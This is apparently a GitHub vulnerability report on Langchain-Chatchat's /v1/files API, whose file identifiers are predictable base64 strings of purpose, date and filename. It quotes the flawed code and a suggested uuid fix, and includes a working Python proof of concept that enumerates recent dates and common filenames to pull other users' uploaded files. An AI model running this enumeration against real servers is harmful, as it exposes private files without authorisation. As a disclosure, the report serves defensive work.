Skip to content

[Security] Predictable File Identifier Enables Targeted File Access in /v1/files #5464

@3em0

Description

@3em0

Vulnerability Report

Summary

Field Value
Affected Version 0.3.x (at least 0.3.1.3)
Affected File libs/chatchat-server/chatchat/server/api_server/openai_routes.py:229-235
CWE CWE-330: Use of Insufficiently Random Values
Severity Medium (CVSS 3.1: 5.4)

Description

Langchain-Chatchat generates file identifiers for its OpenAI-compatible /v1/files API by base64-encoding the string {purpose}/{date}/{filename}. This identifier is fully deterministic with no random component. An attacker who knows or can guess the upload date and filename can construct valid file identifiers for any uploaded file without prior access, enabling targeted file reads, overwrites, or deletion through the /v1/files/{file_id} endpoints.

Vulnerable Code

# openai_routes.py:229-235
def _get_file_id(purpose, created_at, filename):
    today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
    return base64.urlsafe_b64encode(f"{purpose}/{today}/{filename}".encode()).decode()

The file_id is simply: base64("assistants/2026-04-01/photo.png") — fully predictable.

Reverse path resolution:

# openai_routes.py:255-257
def _get_file_path(file_id: str) -> str:
    file_id = base64.urlsafe_b64decode(file_id).decode()
    return os.path.join(Settings.basic_settings.BASE_TEMP_DIR, "openai_files", file_id)

Proof of Concept

import base64, requests
from datetime import datetime, timedelta

API = "http://127.0.0.1:7861"
common_names = ["photo.png", "image.png", "screenshot.png", "test.png"]

# Enumerate uploaded files across last 30 days
for days_ago in range(30):
    date = (datetime.now() - timedelta(days=days_ago)).strftime("%Y-%m-%d")
    for name in common_names:
        fid = base64.urlsafe_b64encode(f"assistants/{date}/{name}".encode()).decode()
        resp = requests.get(f"{API}/v1/files/{fid}/content")
        if resp.status_code == 200:
            print(f"Found: {date}/{name} ({len(resp.content)} bytes)")

Impact

Suggested Fix

import uuid

def _get_file_id(purpose, created_at, filename):
    today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
    unique_id = uuid.uuid4().hex
    return base64.urlsafe_b64encode(
        f"{purpose}/{today}/{unique_id}_{filename}".encode()
    ).decode()

Full Report

Full vulnerability report: https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-3-Predictable-File-ID.md

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions